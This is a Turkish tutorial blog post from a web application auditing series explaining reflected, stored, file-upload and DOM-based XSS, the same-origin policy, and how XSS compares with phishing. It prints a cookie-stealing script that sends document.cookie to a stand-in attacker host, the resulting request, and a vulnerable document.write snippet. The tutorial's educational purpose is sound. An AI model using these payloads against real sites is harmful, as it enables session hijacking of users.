26 Nisan 2015

Web Uygulama Denetimi - Bölüm-19: XSS (Cross Site Scripting) Açıklıkları

XSS diğer kullanıcılara yönelik saldırılar arasında en önde gelen saldırı yöntemidir. XSS’in veya genel olarak kullanıcılara yönelik saldırıların sunucuya yönelik saldırılara karşı önemi konusunda çeşitli tartışmalar vardır. Ancak açık olan kullanıcıya yönelik açıklıkların önemi bulundukları uygulama ve aşamaya göre değişiyor olması, ve usta ellerde çok tehlikeli olabilmeleridir. Bir diğer gerçek de bu açıklıkların sıklıkla web uygulamalarında karşımıza çıkıyor olması ve dikkat çekmek isteyen kişilerin açıklık listelerini adı duyulmamış uygulamalarda keşfettikleri XSS açıklık duyurularıyla doldurmasıdır.

XSS açıklıkları aşağıdaki gibi gruplanabilir.

Yansıtılan XSS Açıklıkları

Yansıtılan XSS açıklıkları sıkça rastlanan bir XSS türü olup uygulamanın kullanıcıdan aldığı girdiyi HTML karakterlerinden ayrıştırmadan ya da encode etmeden aynen geri göndermesi şeklinde oluşur. Kullanıcıya geri gönderilecek girdi HTTP mesajının herhangi bir parametresinde yer alabilmekle birlikte yansıtılan XSS açıklıklarına yönelik saldırıda kullanıcının gönderebileceği girdi URL’in içinde yer almalıdır.

Tipik bir yansıtılan XSS saldırısının oturum çalma amacıyla kullanımı sırasında izlenen adımlar aşağıdaki gibidir:

  1. Kullanıcı uygulamaya login olur.

Set-Cookie: sessId=1348712kjk14334lklifsxads984n4n

  1. Saldırgan özel hazırladığı URL’i kullanıcıya iletir ve bu URL’i çağırmasını sağlar.

https://uygulama.com/error.php?message=<script>var +i=new+Image;+i.src=”http://saldirgan.com/”%2bdocument.cookie;</script>

  1. Kullanıcı saldırgan tarafından iletilen URL’i çağırır.
  2. Sunucu URL içinde bulunan Java Betiğiyle birlikte yanıtını döner.
  3. Java betiği kullanıcı tarayıcısında çalışır, kullanıcı oturum cookie’sine ulaşır.
  4. Kullanıcı tarayıcısı oturum cookie’sini içeren bir URL’le saldırgan tarafından kontrol edilen bir sunucuya istek gönderir.

var i=new Image; i.src=”http://saldirgan.com/”+document.cookie;

Yukarıdaki betik aşağıdaki HTTP isteğinin gerçekleşmesine neden olur:

GET / sessId=1348712kjk14334lklifsxads984n4n HTTP/1.1
Host: saldirgan.com

  1. Saldırgan gelen istekleri izler ve yakaladığı oturum cookie’sini kullanarak hedef uygulamaya kullanıcı oturumuyla bağlanır.

Yukarıda örneği verilen yansıtılan XSS açıklıkları kalıcı (persistent) cookie kullanıldığı durumlarda daha da kritik hale gelmektedir, çünkü bu durumda 1. adımın, yani kullanıcının login olmasının gereği ortadan kalkmaktadır.

Saldırının yukarıdaki gibi gerçekleştirilme gerekçeleri ve saldırının nasıl çalıştığı tarayıcıların uyguladığı aynı kaynak politikası ile açıklanabilir.

Aynı Kaynak Politikası (Same Origin Policy): Bu politika tarayıcılar tarafından erişilen farklı web siteleri arasına bariyer çekmek, bunların birbiriyle etkileşimini engellemek için geliştirilmiştir. Politikanın ana maddeleri şunlardır:

  • Bir alana ait bir sayfa bir diğer alana yönelik herhangi bir istek gönderebilir, ancak diğer alandan gelen veriyi işleyemez.
  • Bir alana ait bir sayfa bir diğer alandan betik yükleyebilir ve kendi bağlamında çalıştırabilir. Bunun nedeni betiklerin veri değil kod içermesidir. Bu yüzden alanlar arası erişim hassas verinin sızmasına neden olmaz (ancak daha sonra açıklanacağı üzere bu varsayım bazı durumlarda geçersiz hale gelmekte ve alanlar arası saldırılara imkan tanımaktadır).
  • Bir alana ait bir sayfa başka bir alana ait cookie veya diğer DOM verilerini okuyamaz veya değiştiremez.

2. adımda saldırganın yarattığı URL’i kullanıcıya iletmek için kullanılan önde gelen yöntemlerden biri oltalama saldırılarında olduğu gibi sosyal mühendislik yöntemlerinden biri olan e-posta kullanımıdır. XSS ve oltalama temelde birbirinden çok farklı saldırı şekilleridir ancak bu yöntemin kullanılması birbirlerine benzemeleri görüntüsüne yol açmaktadır. Yine de saldırganın doğrudan hedef web uygulamasının bir kopyasını yaratıp kullanıcıyı buraya erişim erişim bilgilerini girmek için aldatmaya çalışmak yerine XSS saldırısı düzenleme zahmetine girmesinin bazı önemli nedenleri vardır.

Phishing ve XSS saldırıları arasındaki farklar:

  • XSS saldırısı gerçek uygulama üzerinde çalıştığından kullanıcı uygulamaya ulaştığında kendine ait özel bilgi görecektir. Kopyalanmış sitelerde böyle bir imkan olmayacaktır.
  • Kopyalanmış siteler hızla tespit edilip kapatılabilmektedir.
  • Pek çok tarayıcı ve anti-malware çözümü oltalama filtreleri içermekte ve kullanıcıyı kopyalanmış sitelere karşı uyarmaktadır.
  • Çoğu banka müşterileri kopyalanmış bir site ile saldırıya uğradığında sorumluluğu üzerlerinden atabilmektedir. Ancak kendi siteleri aracılığıyla bir saldırı gerçekleştiğinde durum farklı olmaktadır.

Ayrıca XSS saldırılarını gerçekleştirmek için oltalama stilinden farklı yöntemler de bulunmaktadır.

Saklanan XSS Açıklıkları

Bir diğer XSS saldırı türü de saklanan XSS’dir. Bu açıklıkların kullanılabilmesi için 2 defa istek yapılması gerektiğinden ikinci derece (second order) XSS olarak da anılırlar. Buna mukabil yansıtılan XSS açıklıkları da tek istek gerektirdiğinden birinci derece (first order) XSS olarak da adlandırılır. Bu saldırıların gerçekleştirildiği uygulamalar bir kullanıcının girdiği bilginin başka kullanıcılar tarafından görüntülendiği türde uygulamalardır. Örneğin satıcıların ürünlerine ait bilgileri girdiği ve potansiyel alıcıların bu bilgileri görüntülediği, kullanıcıların taleplerini girdiği ve sistem yöneticisi veya yardım masası kullanıcılarının bu talepleri görüntülediği uygulamalar bu tür uygulamalara örnek olarak verilebilir.

Saklanan XSS açıklıklarının yine oturum cookie’si çalmak için kullanılmasında aşağıdaki adımlar izlenebilir:

  1. Saldırgan hedef uygulamaya içinde kötü niyetli Java Script’i de barındıran mesajı gönderir. Mesaj uygulama tarafından temizlenmeden bir veritabanında saklanır.
  2. Kurban kullanıcı uygulamaya login olur.
  3. Kullanıcı saldırganın mesajını görüntüler.
  4. Uygulama veritabanında sakladığı mesajı encode etmeden kullanıcıya gönderir.
  5. Bu şekilde saldırganın sakladığı kötü niyetli JavaScript kodu çalışır.
  6. Kullanıcının tarayıcısı saldırganın kontrol ettiği bir sunucuya oturum cookie bilgisini de içeren bir istek gönderir.
  7. Saldırgan oturum cookie’sini kullanarak kullanıcının oturumunu çalar.

Saklanan XSS açıklıklarını yansıtılan açıklıklara nazaran güvenlik açısından daha kritik hale getiren 2 neden bulunmaktadır.

  • Yansıtılan XSS saldırısında saldırgan kullanıcıyı özel tasarladığı URL’i tıklamaya yönlendirmek zorundadır. Saklanan XSS açıklığında kullanıcı bunu kendi rızasıyla yapacaktır. Bu durumda saldırgan sadece beklemelidir.
  • XSS açıklıklarının oturum bilgilerini çalmak amacıyla kullanılabilmesi için kullanıcının uygulamaya o an itibarıyla login olmuş olması gerekmektedir. Yansıtılan XSS saldırılarında saldırgan kullanıcıyı yine login olmaya yönlendirmek zorundadır. Saklanan XSS saldırılarında ise kullanıcı zaten login olmuş durumdadır. Ayrıca aynı mesajı birden fazla kullanıcı görüntüleyebileceğinden daha fazla kurban bulunabilir. Hatta mesajı sistem yöneticisi görüntülemesi durumunda uygulamaya yönetici haklarıyla erişim de mümkün olacaktır.

Yüklenen Dosyalardaki Saklanan XSS Açıklıkları

Genellikle atlanan ancak sık rastlanan XSS açıklıklarından biri JavaScript kodunun içinde bulunduğu dosyaların yüklenebilmesi, ve bu dosyaların kullanıcılar tarafından görüntülenmesi suretiyle bu kodların çalıştırılmasıdır. Eğer saldırgan bir HTML veya metin dosyasını yükleyebilir ve kullanıcı bu dosyayı görüntülerse içeriğindeki JavaScript kodu çalışacaktır.

Bu nedenle çoğu uygulama HTML dosyalarının yüklenmesini engeller, ancak JPEG imajları içeren dosyaların yüklenmesine izin verir. Internet Explorer kullanarak bir kullanıcı doğrudan bir Jpeg dosyasını çağırırsa (yani bir HTML dosyası içindeki <img> etiketi içinde yer almadan) Internet Explorer bu dosyanın HTML kodu içermesi durumunda bunu HTML kodu olarak yorumlayacaktır. Eğer uygulama JPEG dosyasının içeriğinin gerçekten resim içerip içermediğini kontrol etmezse bu tür bir saldırıyı gerçekleştirmek mümkün olacaktır.

DOM Temelli XSS Açıklıkları

DOM (Document Object Model) tabanlı saldırılarda sunucunun döndüğü yanıt kullanıcı tarafından girilen URL’deki veya başka bir bilgiyi içermez. Ancak sayfanın içinde zaten bulunun JavaScript kodu URL içinde kullanıcı tarafından beslenen bir bilgiyi dinamik olarak HTML koduna dönüştürür ve görüntüler. Bu sayede URL içinde kullanıcı tarafından verilen betik çalıştırılmış olur. Bu yönüyle DOM temelli XSS saldırısı yansıtılan XSS saldırısına benzer. Yani saldırgan kendi ürettiği URL’i kullanıcıya tıklatmak zorundadır.

DOM temelli XSS saldırısının nasıl gerçekleştirilebileceğine dair bir örnek vermek gerekirse, sunucunun döneceği sayfanın içinde aşağıdaki betik olduğunu varsayalım:

<script>
var a = document.URL;
a=unescape(a);
document.write(a.substring(a.indexOf(“message=”) + 8, a.length));
</script>
Bu betik URL içinde bulunan mesaj parametresinin içeriğini dinamik olarak sayfanın HTML kodunun içine yazmaktadır. Aşağıdaki gibi bir URL üretirsek bu sayede istediğimiz bir betiğin çalışmasını sağlamış oluruz:
https://uygulama.com/error.php?message=<script>alert(‘xss’);</script>
Yine oturum cookie’si çalmayı amaçlayan bir DOM temelli XSS saldırısının adımları aşağıdaki gibi olabilir:

  1. Kullanıcı uygulamaya login olur.
  2. Saldırgan özel tasarlanmış URL’i kullanıcıya bir şekilde ulaştırır.
  3. Kullanıcı URL’i tıklayarak sunucuya istek gönderir.
  4. Sunucu sayfa içeriğinde zaten bulunan JavaScript koduyla birlikte yanıtını döner.
  5. Sayfa içeriğinde bulunan JavaScript kodu URL’i işler ve saldırgan tarafından URL’e yerleştirilen JavaScript’i HTML kodunun içine yazar.
  6. Dinamik olarak üretilen yeni script oturum cookie’sini çalarak saldırganın kontrol ettiği bir web sitesine istek gönderir.
  7. Saldırgan ele geçirdiği oturum bilgisiyle kullanıcının oturumunu çalar.

<<Önceki Bölüm